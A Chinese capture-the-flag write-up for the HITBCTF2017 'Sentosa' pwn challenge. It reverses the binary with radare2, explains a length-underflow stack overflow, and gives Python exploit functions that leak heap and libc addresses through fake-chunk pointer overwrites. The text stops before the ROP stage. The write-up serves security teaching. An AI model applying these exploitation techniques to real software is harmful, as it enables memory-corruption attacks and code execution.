CTF-All-In-One/doc/6.1.18_pwn_hitbctf2017_sentosa.md

# 6.1.18 pwn HITBCTF2017 Sentosa

- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [漏洞利用](#漏洞利用)
- [参考资料](#参考资料)

[下载文件](../src/writeup/6.1.18_pwn_hitbctf2017_sentosa)

## 题目复现

```text
$ file sentosa
sentosa: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=556ed41f51d01b6a345af2ffc2a135f7f8972a5f, stripped
$ checksec -f sentosa
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes     1               3       sentosa
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu4) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
```

保护全开，默认开启 ASLR。

在 Ubuntu-16.04 上玩一下：

```text
$ ./sentosa
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
1
Input length of your project name: 10
Input your project name: AAAA
Input your project price: 10
Input your project area: 10
Input your project capacity: 10
Your project is No.0
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
2
Project: AAAA
Price: 10
Area: 10
Capacity: 10
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
3
Not implemented yet
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
4
Input your projects number: 0
```

可以新增、查看和删除 project，但修改功能还未实现，这似乎意味着我们不能对堆进行修改。

现在我们给 length 输入 0 试试看：

```text
$ ./sentosa
Welcome to Sentosa Development Center
Choose your action:
1. Start a project
2. View all projects
3. Edit a project
4. Cancel a project
5. Exit
1
Input length of your project name: 0
Input your project name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Input your project price: 10
Input your project area: 10
Input your project capacity: 10
Your project is No.0
*** stack smashing detected ***: ./sentosa terminated
[2]    5673 abort (core dumped)  ./sentosa
```

造成了缓冲区溢出，可见字符串读取的函数肯定是存在问题的。

## 题目解析

下面我们依次来逆向这些函数。

### Start a project

```text
[0x00000a30]> pdf @ sub.There_are_too_much_projects_ca0
/ (fcn) sub.There_are_too_much_projects_ca0 482
|   sub.There_are_too_much_projects_ca0 ();
|           ; UNKNOWN XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146)
|           ; CALL XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146)
|           0x00000ca0      push r13
|           0x00000ca2      push r12
|           0x00000ca4      push rbp
|           0x00000ca5      push rbx
|           0x00000ca6      xor ebx, ebx                                ; ebx 作为序号 i，初始化为 0
|           0x00000ca8      sub rsp, 0x88                               ; buffer[0x88]
|           0x00000caf      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2138 ; '('
|           0x00000cb8      mov qword [rsp + 0x78], rax
|           0x00000cbd      xor eax, eax
|           0x00000cbf      cmp dword [0x002020c0], 0x10                ; [0x002020c0] 存储当前数量 proj_num
|           0x00000cc6      lea rax, [0x00202040]                       ; 取出数组 projects
|       ,=< 0x00000ccd      jg 0xe80                                    ; proj_num 大于 0x10 时跳转
|       |   0x00000cd3      nop dword [rax + rax]
|       |   ; JMP XREF from 0x00000cea (sub.There_are_too_much_projects_ca0)
|      .--> 0x00000cd8      cmp qword [rax + rbx*8], 0                  ; projects[i] 与 0 比较
|      :|   0x00000cdd      movsxd rbp, ebx
|     ,===< 0x00000ce0      je 0xd10                                    ; projects[i] 为 0 时跳转
|     |:|   0x00000ce2      add rbx, 1                                  ; 否则 i = i+1
|     |:|   0x00000ce6      cmp rbx, 0x10
|     |`==< 0x00000cea      jne 0xcd8                                   ; i 不等于 0x10 时跳转（循环，目的是找到为 0 的 projects[i]）
|     | |   0x00000cec      lea rsi, str.Error.                        ; 0x135b ; "Error." ; 否则打印出 Error
|     | |   0x00000cf3      mov edi, 1
|     | |   0x00000cf8      xor eax, eax
|     | |   0x00000cfa      call sym.imp.__printf_chk
|     | |   0x00000cff      xor edi, edi
|     | |   0x00000d01      call sym.imp.exit                          ; void exit(int status)
      | |   0x00000d06      nop word cs:[rax + rax]
|     | |   ; JMP XREF from 0x00000ce0 (sub.There_are_too_much_projects_ca0)
|     `---> 0x00000d10      lea rsi, str.Input_length_of_your_project_name: ; 0x11f0 ; "Input length of your project name: "
|       |   0x00000d17      mov edi, 1
|       |   0x00000d1c      xor eax, eax
|       |   0x00000d1e      call sym.imp.__printf_chk
|       |   0x00000d23      lea rsi, [rsp + 0xc]
|       |   0x00000d28      lea rdi, [0x00001309]                      ; "%d"
|       |   0x00000d2f      xor eax, eax
|       |   0x00000d31      call sym.imp.__isoc99_scanf
|       |   0x00000d36      movsxd rax, dword [rsp + 0xc]               ; rax = length
|       |   0x00000d3b      cmp eax, 0x59                              ; 'Y'
|      ,==< 0x00000d3e      ja 0xe70                                    ; 表示 length 不能大于 0x59
|      ||   0x00000d44      lea rdi, [rax + 0x15]
|      ||   0x00000d48      lea r13, [rsp + 0x10]                       ; r13 = rsp + 0x10
|      ||   0x00000d4d      call sym.imp.malloc                         ; malloc(length+0x15) 分配 project
|      ||   0x00000d52      mov edx, dword [rsp + 0xc]                  ; 取出 length 到 edx
|      ||   0x00000d56      mov qword [rsp + 0x6a], rax                 ; 将 project 地址放到 [rsp + 0x6a]
|      ||   0x00000d5b      mov ecx, 0xb
|      ||   0x00000d60      mov rdi, r13                                ; rdi = rsp+0x10
|      ||   0x00000d63      lea rsi, str.Input_your_project_name:      ; 0x12d4 ; "Input your project name: "
|      ||   0x00000d6a      lea r12, [rax + rdx + 5]                    ; r12 = &project[length+5]
|      ||   0x00000d6f      mov dword [rax], edx                        ; project->length = length
|      ||   0x00000d71      xor eax, eax                                ; eax = 0
|      ||   0x00000d73      rep stosq qword [rdi], rax                  ; 清空 buffer
|      ||   0x00000d76      xor edx, edx                                ; edx = 0
|      ||   0x00000d78      mov word [rdi], dx                          ; [rsp+0x10] = 0
|      ||   0x00000d7b      mov edi, 1
|      ||   0x00000d80      call sym.imp.__printf_chk
|      ||   0x00000d85      mov esi, dword [rsp + 0xc]                 ; [0xc:4]=0
|      ||   0x00000d89      mov rdi, r13
|      ||   0x00000d8c      call sub.read_bf0                           ; 调用函数 read_bf0(rsp+0x10, length) 读入 name
|      ||   0x00000d91      mov rax, qword [rsp + 0x6a]                 ; rax 存放 project
|      ||   0x00000d96      movsxd rdx, dword [rsp + 0xc]              ; [0xc:4]=0
|      ||   0x00000d9b      mov rsi, r13
|      ||   0x00000d9e      lea rdi, [rax + 4]
|      ||   0x00000da2      call sym.imp.strncpy                        ; strncpy(project+4, name, length)，即将 name 复制到 project->name
|      ||   0x00000da7      lea rsi, str.Input_your_project_price:     ; 0x12ee ; "Input your project price: "
|      ||   0x00000dae      mov edi, 1
|      ||   0x00000db3      mov dword [r12], 1                          ; project[length+5] = 1，即 project->check
|      ||   0x00000dbb      xor eax, eax
|      ||   0x00000dbd      call sym.imp.__printf_chk
|      ||   0x00000dc2      lea rsi, [r12 + 4]                          ; rsi = project[length+5 + 4]，即 project->price
|      ||   0x00000dc7      lea rdi, [0x00001309]                      ; "%d"
|      ||   0x00000dce      xor eax, eax
|      ||   0x00000dd0      call sym.imp.__isoc99_scanf
|      ||   0x00000dd5      lea rsi, str.Input_your_project_area:      ; 0x130c ; "Input your project area: "
|      ||   0x00000ddc      mov edi, 1
|      ||   0x00000de1      xor eax, eax
|      ||   0x00000de3      call sym.imp.__printf_chk
|      ||   0x00000de8      lea rsi, [r12 + 8]                          ; rsi = project[length+5 + 8]，即 project->area
|      ||   0x00000ded      lea rdi, [0x00001309]                      ; "%d"
|      ||   0x00000df4      xor eax, eax
|      ||   0x00000df6      call sym.imp.__isoc99_scanf
|      ||   0x00000dfb      lea rsi, str.Input_your_project_capacity:  ; 0x1326 ; "Input your project capacity: "
|      ||   0x00000e02      mov edi, 1
|      ||   0x00000e07      xor eax, eax
|      ||   0x00000e09      call sym.imp.__printf_chk
|      ||   0x00000e0e      lea rsi, [r12 + 0xc]                        ; rsi = project[length+5 + 12]，即 project->capacity
|      ||   0x00000e13      lea rdi, [0x00001309]                      ; "%d"
|      ||   0x00000e1a      xor eax, eax
|      ||   0x00000e1c      call sym.imp.__isoc99_scanf
|      ||   0x00000e21      mov rdx, qword [rsp + 0x6a]                 ; 取出 project
|      ||   0x00000e26      lea rax, [0x00202040]
|      ||   0x00000e2d      lea rsi, str.Your_project_is_No._d         ; 0x1344 ; "Your project is No.%d\n"
|      ||   0x00000e34      mov edi, 1
|      ||   0x00000e39      mov qword [rax + rbp*8], rdx                ; projects[i] = project，放到数组中
|      ||   0x00000e3d      mov edx, ebx
|      ||   0x00000e3f      xor eax, eax
|      ||   0x00000e41      call sym.imp.__printf_chk
|      ||   0x00000e46      add dword [0x002020c0], 1                   ; proj_num 加 1
|      ||   ; JMP XREF from 0x00000e7c (sub.There_are_too_much_projects_ca0)
|      ||   ; JMP XREF from 0x00000e8c (sub.There_are_too_much_projects_ca0)
|    ..---> 0x00000e4d      mov rax, qword [rsp + 0x78]                ; [0x78:8]=0x400000003 ; 'x'
|    ::||   0x00000e52      xor rax, qword fs:[0x28]
|   ,=====< 0x00000e5b      jne 0xe8e
|   |::||   0x00000e5d      add rsp, 0x88
|   |::||   0x00000e64      pop rbx
|   |::||   0x00000e65      pop rbp
|   |::||   0x00000e66      pop r12
|   |::||   0x00000e68      pop r13
|   |::||   0x00000e6a      ret
    |::||   0x00000e6b      nop dword [rax + rax]
|   |::||   ; JMP XREF from 0x00000d3e (sub.There_are_too_much_projects_ca0)
|   |::`--> 0x00000e70      lea rdi, str.Invalid_name_length           ; 0x12bf ; "Invalid name length!"
|   |:: |   0x00000e77      call sym.imp.puts                          ; int puts(const char *s)
|   |`====< 0x00000e7c      jmp 0xe4d
    | : |   0x00000e7e      nop
|   | : |   ; JMP XREF from 0x00000ccd (sub.There_are_too_much_projects_ca0)
|   | : `-> 0x00000e80      lea rdi, str.There_are_too_much_projects   ; 0x12a2 ; "There are too much projects!"
|   | :     0x00000e87      call sym.imp.puts                          ; int puts(const char *s)
|   | `===< 0x00000e8c      jmp 0xe4d
|   |       ; JMP XREF from 0x00000e5b (sub.There_are_too_much_projects_ca0)
\   `-----> 0x00000e8e      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
```

通过上面的分析可以得到 project 结构体和 projects 数组：

```c
struct project {
    int length;
    char name[length];
    int check;
    int price;
    int area;
    int capacity;
} project;

struct project *projects[0x10];
```

projects 位于 `0x00202040`，proj_num 位于 `0x002020c0`。

用户输入的 length 必须小于 0x59，使用 malloc(length+0x15) 分配一块堆空间作为 project，然后调用 `read_buf0()` 读入 name 到栈上。读入 name 后将其复制到 project 中，然后将 check 置为 1，最后再依次读入 price、area 和 capacity。

程序自己实现的 `read_bf0()` 函数如下：

```text
[0x00000a30]> pdf @ sub.read_bf0
/ (fcn) sub.read_bf0 148
|   sub.read_bf0 ();
|           ; var int local_0h @ rbp-0x0
|           ; CALL XREF from 0x00000d8c (sub.There_are_too_much_projects_ca0)
|           0x00000bf0      push r14
|           0x00000bf2      push r13
|           0x00000bf4      push r12
|           0x00000bf6      push rbp
|           0x00000bf7      mov r12, rdi                                ; r12 存储 buffer 地址
|           0x00000bfa      push rbx
|           0x00000bfb      sub rsp, 0x10
|           0x00000bff      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2138 ; '('
|           0x00000c08      mov qword [rsp + 8], rax
|           0x00000c0d      xor eax, eax
|           0x00000c0f      sub esi, 1                                  ; length 减 1
|       ,=< 0x00000c12      je 0xc8a                                    ; length 等于 0 时跳转
|       |   0x00000c14      mov r13d, esi                               ; 否则继续
|       |   0x00000c17      mov rbp, rdi                                ; rbp 存储 buffer 地址
|       |   0x00000c1a      xor ebx, ebx                                ; 循环计算 i，初始化为 0
|       |   0x00000c1c      lea r14, [rsp + 7]                          ; 读入字符到 [rsp+7]
|      ,==< 0x00000c21      jmp 0xc37
       ||   0x00000c23      nop dword [rax + rax]
|      ||   ; JMP XREF from 0x00000c4f (sub.read_bf0)
|     .---> 0x00000c28      add ebx, 1                                  ; i = i + 1
|     :||   0x00000c2b      mov byte [rbp], al                          ; 将字符放到 [rbp]
|     :||   0x00000c2e      add rbp, 1                                  ; rbp = rbp + 1
|     :||   0x00000c32      cmp ebx, r13d
|    ,====< 0x00000c35      je 0xc80                                    ; i 等于 length 时跳转
|    |:||   ; JMP XREF from 0x00000c21 (sub.read_bf0)
|    |:`--> 0x00000c37      xor edi, edi                                ; i 不等于 length 时循环继续
|    |: |   0x00000c39      xor eax, eax
|    |: |   0x00000c3b      mov edx, 1
|    |: |   0x00000c40      mov rsi, r14
|    |: |   0x00000c43      call sym.imp.read                           ; read(0, rsp+7, 1) 每次读入一个字节
|    |: |   0x00000c48      movzx eax, byte [rsp + 7]                  ; [0x7:1]=0
|    |: |   0x00000c4d      cmp al, 0xa                                 ; 判断是否为 '\n'
|    |`===< 0x00000c4f      jne 0xc28                                   ; 不是 '\n' 时循环继续
|    |  |   0x00000c51      movsxd rbx, ebx                             ; 否则 rbx = i
|    |  |   0x00000c54      mov byte [r12 + rbx], 0                     ; buffer[i] = 0，即末尾加 '\x00'
|    |  |   ; JMP XREF from 0x00000c88 (sub.read_bf0)
|    | .--> 0x00000c59      mov rax, qword [rsp + 8]                   ; [0x8:8]=0
|    | :|   0x00000c5e      xor rax, qword fs:[0x28]
|    |,===< 0x00000c67      jne 0xc8e
|    ||:|   0x00000c69      add rsp, 0x10
|    ||:|   0x00000c6d      pop rbx
|    ||:|   0x00000c6e      pop rbp
|    ||:|   0x00000c6f      pop r12
|    ||:|   0x00000c71      pop r13
|    ||:|   0x00000c73      pop r14
|    ||:|   0x00000c75      ret
     ||:|   0x00000c76      nop word cs:[rax + rax]
|    ||:|   ; JMP XREF from 0x00000c35 (sub.read_bf0)
|    `----> 0x00000c80      movsxd rbx, ebx
|     |:|   ; JMP XREF from 0x00000c8c (sub.read_bf0)
|    .----> 0x00000c83      mov byte [r12 + rbx], 0
|    :|`==< 0x00000c88      jmp 0xc59
|    :| |   ; JMP XREF from 0x00000c12 (sub.read_bf0)
|    :| `-> 0x00000c8a      xor ebx, ebx
|    `====< 0x00000c8c      jmp 0xc83
|     |     ; JMP XREF from 0x00000c67 (sub.read_bf0)
\     `---> 0x00000c8e      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
```

正如我们一开始猜测的，这个函数是有问题的，如果输入 0 作为 length，则 length-1（能读入的实际长度） 后得到一个负数，在循环判断时，负数永远不会等于一个正数，于是将读入任意长度的字符串（以`\n`结尾），造成缓冲区溢出。

字符串末尾会被加上 `\x00`，且开启了 Canary，暂时还没想到如何利用，继续往下看。另外特别注意 malloc 后得到的 project 的地址存放在 `rsp + 0x6a` 的位置。

### View all projects

```text
[0x00000a30]> pdf @ sub.Project:__s_ea0
/ (fcn) sub.Project:__s_ea0 191
|   sub.Project:__s_ea0 (int arg_4h, int arg_8h, int arg_ch);
|           ; arg int arg_4h @ rbp+0x4
|           ; arg int arg_8h @ rbp+0x8
|           ; arg int arg_ch @ rbp+0xc
|           ; CALL XREF from 0x00001102 (sub.__isoc99_scanf_80 + 130)
|           0x00000ea0      push r12
|           0x00000ea2      push rbp
|           0x00000ea3      lea r12, [0x002020c0]                       ; 取出 &proj_num
|           0x00000eaa      push rbx
|           0x00000eab      lea rbx, [0x00202040]                       ; 取出 &projects
|           0x00000eb2      sub rsp, 0x10
|           0x00000eb6      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2138 ; '('
|           0x00000ebf      mov qword [rsp + 8], rax
|           0x00000ec4      xor eax, eax
|           0x00000ec6      nop word cs:[rax + rax]
|           ; JMP XREF from 0x00000f3f (sub.Project:__s_ea0)
|       .-> 0x00000ed0      mov rdx, qword [rbx]                        ; 取出此时开头的 project
|       :   0x00000ed3      test rdx, rdx
|      ,==< 0x00000ed6      je 0xf38                                    ; 该 project 为 0 时跳转
|      |:   0x00000ed8      mov eax, dword [rdx]
|      |:   0x00000eda      lea rsi, str.Project:__s                   ; 0x1362 ; "Project: %s\n"
|      |:   0x00000ee1      mov edi, 1
|      |:   0x00000ee6      lea rbp, [rdx + rax + 5]                    ; rbp = project->check
|      |:   0x00000eeb      add rdx, 4                                  ; rdx = project->name
|      |:   0x00000eef      xor eax, eax
|      |:   0x00000ef1      call sym.imp.__printf_chk                   ; 打印出 project->name
|      |:   0x00000ef6      mov edx, dword [arg_4h]                     ; rdx = project->price
|      |:   0x00000ef9      lea rsi, str.Price:__d                     ; 0x136f ; "Price: %d\n"
|      |:   0x00000f00      mov edi, 1
|      |:   0x00000f05      xor eax, eax
|      |:   0x00000f07      call sym.imp.__printf_chk                   ; 打印出 project->price
|      |:   0x00000f0c      mov edx, dword [arg_8h]                     ; rdx = project->area
|      |:   0x00000f0f      lea rsi, str.Area:__d                      ; 0x137a ; "Area: %d\n"
|      |:   0x00000f16      mov edi, 1
|      |:   0x00000f1b      xor eax, eax
|      |:   0x00000f1d      call sym.imp.__printf_chk                   ; 打印出 project->area
|      |:   0x00000f22      mov edx, dword [arg_ch]                     ; rdx = project->capacity
|      |:   0x00000f25      lea rsi, str.Capacity:__d                  ; 0x1384 ; "Capacity: %d\n"
|      |:   0x00000f2c      mov edi, 1
|      |:   0x00000f31      xor eax, eax
|      |:   0x00000f33      call sym.imp.__printf_chk                   ; 打印出 project->capacity
|      |:   ; JMP XREF from 0x00000ed6 (sub.Project:__s_ea0)
|      `--> 0x00000f38      add rbx, 8                                  ; rbx += 8，即 projects 向后移一个
|       :   0x00000f3c      cmp rbx, r12
|       `=< 0x00000f3f      jne 0xed0                                   ; &projects 不等于 &proj_num 时循环继续
|           0x00000f41      mov rax, qword [rsp + 8]                   ; [0x8:8]=0
|           0x00000f46      xor rax, qword fs:[0x28]
|       ,=< 0x00000f4f      jne 0xf5a
|       |   0x00000f51      add rsp, 0x10
|       |   0x00000f55      pop rbx
|       |   0x00000f56      pop rbp
|       |   0x00000f57      pop r12
|       |   0x00000f59      ret
|       |   ; JMP XREF from 0x00000f4f (sub.Project:__s_ea0)
\       `-> 0x00000f5a      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
```

该函数用于打印出所有存在的 project 的信息。

### Cancel a project

```text
[0x00000a30]> pdf @ sub.There_are_no_project_to_cancel_f60
/ (fcn) sub.There_are_no_project_to_cancel_f60 207
|   sub.There_are_no_project_to_cancel_f60 ();
|           ; CALL XREF from 0x000010e2 (sub.__isoc99_scanf_80 + 98)
|           0x00000f60      push rbx
|           0x00000f61      sub rsp, 0x10
|           0x00000f65      mov rax, qword fs:[0x28]                   ; [0x28:8]=0x2138 ; '('
|           0x00000f6e      mov qword [rsp + 8], rax
|           0x00000f73      xor eax, eax
|           0x00000f75      mov eax, dword [0x002020c0]                 ; 取出 proj_num
|           0x00000f7b      test eax, eax
|       ,=< 0x00000f7d      jle 0x1010                                  ; proj_num 小于等于 0 时跳转
|       |   0x00000f83      lea rsi, str.Input_your_projects_number:   ; 0x1392 ; "Input your projects number: "
|       |   0x00000f8a      mov edi, 1
|       |   0x00000f8f      xor eax, eax
|       |   0x00000f91      call sym.imp.__printf_chk
|       |   0x00000f96      lea rsi, [rsp + 4]
|       |   0x00000f9b      lea rdi, [0x00001309]                      ; "%d"
|       |   0x00000fa2      xor eax, eax
|       |   0x00000fa4      call sym.imp.__isoc99_scanf                 ; 读入 i 到 rsp+4
|       |   0x00000fa9      movsxd rax, dword [rsp + 4]                ; [0x4:4]=0x10102
|       |   0x00000fae      cmp eax, 0xf
|      ,==< 0x00000fb1      ja 0x1000                                   ; i 大于 0xf 时函数返回
|      ||   0x00000fb3      lea rbx, [0x00202040]                       ; 取出 &projects
|      ||   0x00000fba      mov rdi, qword [rbx + rax*8]                ; 取出 projects[i]
|      ||   0x00000fbe      test rdi, rdi
|     ,===< 0x00000fc1      je 0x1000                                   ; projects[i] 为 0 时函数返回
|     |||   0x00000fc3      mov eax, dword [rdi]
|     |||   0x00000fc5      cmp dword [rdi + rax + 5], 1                ; 检查 projects[i]->check 是否为 1
|    ,====< 0x00000fca      jne 0x1023                                  ; 不为 1 时程序结束
|    ||||   0x00000fcc      call sym.imp.free                           ; free(projects[i]) 释放 project
|    ||||   0x00000fd1      movsxd rax, dword [rsp + 4]                ; [0x4:4]=0x10102
|    ||||   0x00000fd6      sub dword [0x002020c0], 1                   ; proj_num 减 1
|    ||||   0x00000fdd      mov qword [rbx + rax*8], 0                  ; projects[i] = 0 将其置 0
|    ||||   ; JMP XREF from 0x0000100c (sub.There_are_no_project_to_cancel_f60)
|    ||||   ; JMP XREF from 0x0000101c (sub.There_are_no_project_to_cancel_f60)
|  ..-----> 0x00000fe5      mov rax, qword [rsp + 8]                   ; [0x8:8]=0
|  ::||||   0x00000fea      xor rax, qword fs:[0x28]
| ,=======< 0x00000ff3      jne 0x101e
| |::||||   0x00000ff5      add rsp, 0x10
| |::||||   0x00000ff9      pop rbx
| |::||||   0x00000ffa      ret
  |::||||   0x00000ffb      nop dword [rax + rax]
| |::||||   ; JMP XREF from 0x00000fb1 (sub.There_are_no_project_to_cancel_f60)
| |::||||   ; JMP XREF from 0x00000fc1 (sub.There_are_no_project_to_cancel_f60)
| |::|``--> 0x00001000      lea rdi, str.Invalid_number                ; 0x13af ; "Invalid number!"
| |::|  |   0x00001007      call sym.imp.puts                          ; int puts(const char *s)
| |`======< 0x0000100c      jmp 0xfe5
  | :|  |   0x0000100e      nop
| | :|  |   ; JMP XREF from 0x00000f7d (sub.There_are_no_project_to_cancel_f60)
| | :|  `-> 0x00001010      lea rdi, str.There_are_no_project_to_cancel ; 0x1218 ; "There are no project to cancel!"
| | :|      0x00001017      call sym.imp.puts                          ; int puts(const char *s)
| | `=====< 0x0000101c      jmp 0xfe5
| |  |      ; JMP XREF from 0x00000ff3 (sub.There_are_no_project_to_cancel_f60)
| `-------> 0x0000101e      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|    |      ; JMP XREF from 0x00000fca (sub.There_are_no_project_to_cancel_f60)
|    `----> 0x00001023      lea rdi, str.Corrupted_project             ; 0x13bf ; "Corrupted project!"
|           0x0000102a      call sym.imp.puts                          ; int puts(const char *s)
|           0x0000102f      xor edi, edi
\           0x00001031      call sym.imp.exit                          ; void exit(int status)
```

该函数首先检查 project->check 是否被修改（不等于1），如果没有则释放该 project，并将 projects[i] 置 0。否则程序退出。这个函数似乎没有悬指针之类的问题。

## 漏洞利用

总结一下，就是在 `read_bf0()` 函数中存在一个栈溢出漏洞。

我们来看一下 `read_bf0()` 函数中的内存布局，假设分配一个这样的 project：

```python
start_proj(0x4f, "A"*(0x4f-1), 2, 3, 4)
```

```text
gdb-peda$ x/22gx $rsp
0x7fffffffec70:	0x00007ffff7dd3780	0x0000004ff7b046e0
0x7fffffffec80:	0x4141414141414141	0x4141414141414141  <-- name
0x7fffffffec90:	0x4141414141414141	0x4141414141414141
0x7fffffffeca0:	0x4141414141414141	0x4141414141414141
0x7fffffffecb0:	0x4141414141414141	0x4141414141414141
0x7fffffffecc0:	0x4141414141414141	0x0000414141414141
0x7fffffffecd0:	0x0000000000000000	0x5555557570100000  <-- project address
0x7fffffffece0:	0x0000000000000000	0x38a9eb4968c1da00  <-- canary
0x7fffffffecf0:	0x000055555555529a	0x00005555555553f8
0x7fffffffed00:	0x00007fffffffed24	0x0000555555554a30
0x7fffffffed10:	0x00007fffffffee40	0x0000555555555117  <-- return address
gdb-peda$ x/g $rsp+0x6a
0x7fffffffecda:	0x0000555555757010  <-- project address
gdb-peda$ x/18gx *(void **)($rsp+0x6a)-0x10
0x555555757000:	0x0000000000000000	0x0000000000000071  <-- project chunk
0x555555757010:	0x414141410000004f	0x4141414141414141  <-- length  <-- name
0x555555757020:	0x4141414141414141	0x4141414141414141
0x555555757030:	0x4141414141414141	0x4141414141414141
0x555555757040:	0x4141414141414141	0x4141414141414141
0x555555757050:	0x4141414141414141	0x4141414141414141
0x555555757060:	0x0000000100004141	0x0000000300000002  <-- check   <-- price, area
0x555555757070:	0x0000000000000004	0x0000000000020f91  <-- capacity    <-- top chunk
0x555555757080:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/18gx 0x555555756040
0x555555756040:	0x0000555555757010	0x0000000000000000  <-- projects
0x555555756050:	0x0000000000000000	0x0000000000000000
0x555555756060:	0x0000000000000000	0x0000000000000000
0x555555756070:	0x0000000000000000	0x0000000000000000
0x555555756080:	0x0000000000000000	0x0000000000000000
0x555555756090:	0x0000000000000000	0x0000000000000000
0x5555557560a0:	0x0000000000000000	0x0000000000000000
0x5555557560b0:	0x0000000000000000	0x0000000000000000
0x5555557560c0:	0x0000000000000001	0x0000000000000000  <-- proj_num
```

所以其实在覆盖到 Canary 之前，我们是有一个 project 地址可以覆盖的，但由于 `read_bf0()` 会在字符串末尾加 `"\x00"`，所以我们只能够将地址的低位覆盖为 `"\x00"`。在新增 project 过程的最后，会将 project address 放到数组 projects 中，所以我们可以将覆盖后的 project address 放进数组。然后利用 View 的功能就可以打印出内容。

另外我们应该注意的是上面的 project address 是最后一次 malloc 返回的地址，即最后添加的 project 的 address。在上面的例子中，如果我们将 project address 覆盖掉，则它指向了 project 的 chunk 头。所以我们可以将其指向一个被释放的 fastbin，它的 fd 指针指向了 heap 上的一个地址，只要将其打印出来就可以通过计算得到 heap 基址。

得到了 heap 基址后，我们就可以将 project address 修改为任意的堆地址，从而读取任意信息。所以下一步我们从堆里得到 libc 地址，接着通过 libc 的 `__environ` 符号得到 stack 地址，最后就可以从栈上得到 Canary。构造 ROP 得到 shell。

### leak heap

```python
def leak_heap():
    global heap_base

    start_proj(0, 'A', 1, 1, 1)         # 0
    start_proj(0, 'A'*0x5a, 1, 1, 1)    # 1
    start_proj(0, 'A', 1, 1, 1)         # 2
    cancel_proj(2)
    cancel_proj(0)
    view_proj()
    io.recvuntil("Capacity: ")
    leak = int(io.recvline()[:-1], 10) & 0xffffffff
    heap_base = (0x55<<40) + (leak<<8)      # 0x55 or 0x56
    log.info("libc base: 0x%x" % heap_base)
```

首先分配 3 个 fast chunk，其中第 2 个利用栈溢出修改 project address，使其指向第 chunk 0。然后依次释放掉 chunk 2 和 chunk 0，此时 chunk 0 的 fd 指向了 chunk 2：

```text
gdb-peda$ x/18gx 0x555555756040
0x555555756040:	0x0000000000000000	0x0000555555757000  <-- projects
0x555555756050:	0x0000000000000000	0x0000000000000000
0x555555756060:	0x0000000000000000	0x0000000000000000
0x555555756070:	0x0000000000000000	0x0000000000000000
0x555555756080:	0x0000000000000000	0x0000000000000000
0x555555756090:	0x0000000000000000	0x0000000000000000
0x5555557560a0:	0x0000000000000000	0x0000000000000000
0x5555557560b0:	0x0000000000000000	0x0000000000000000
0x5555557560c0:	0x0000000000000001	0x0000000000000000  <-- proj_num
gdb-peda$ x/16gx 0x555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0 [be freed]
0x555555757010:	0x0000555555757040	0x0000010000000100      <-- fd pointer
0x555555757020:	0x0000000000000100	0x0000000000000021  <-- chunk 1
0x555555757030:	0x0000010000000000	0x0000010000000100
0x555555757040:	0x0000000000000100	0x0000000000000021  <-- chunk 2 [be freed]
0x555555757050:	0x0000000000000000	0x0000010000000100
0x555555757060:	0x0000000000000100	0x0000000000020fa1  <-- top chunk
0x555555757070:	0x0000000000000000	0x0000000000000000
```

然后 View 打印出来就得到了 heap 基址。这种构造方法还是有一点问题的，不能打印出最高位的 `0x55`，但我们知道这个值相对固定，所以直接加上就可以了。

### leak libc

```python
def leak_libc():
    global libc_base

    start_proj(0xf, 'A', 0xd1, 0, 0x64)                     # 0
    start_proj(0x50, '\x01', 1, 1, 1)                       # 2
    start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1)              # 3
    start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1)  # 4
    start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1)  # 5
    cancel_proj(4)

    view_proj()
    for i in range(5):
        io.recvuntil("Area: ")
    leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
    io.recvuntil("Capacity: ")
    leak_high = int(io.recvline()[:-1], 10) & 0xffff
    libc_base = leak_low + (leak_high<<32) - 0x3c3b78

    log.info("libc base: 0x%x" % libc_base)
```

由于我们不能直接分配一个 small chunk，所以需要构造一个 fake chunk。利用栈溢出修改 project address 可以做到这一点。另外还需要满足 libc free 的检查，还有 Cancel 过程中的 check。

首先分配 5 个 project，其中最后两个利用漏洞修改了 project address，使其指向 fake chunk。此时内存布局如下：

```text
gdb-peda$ x/18gx 0x555555756040
0x555555756040:	0x0000555555757070	0x0000555555757000  <-- projects
0x555555756050:	0x00005555557570a0	0x0000555555757110
0x555555756060:	0x0000555555757090	0x000055555575708b
0x555555756070:	0x0000000000000000	0x0000000000000000
0x555555756080:	0x0000000000000000	0x0000000000000000
0x555555756090:	0x0000000000000000	0x0000000000000000
0x5555557560a0:	0x0000000000000000	0x0000000000000000
0x5555557560b0:	0x0000000000000000	0x0000000000000000
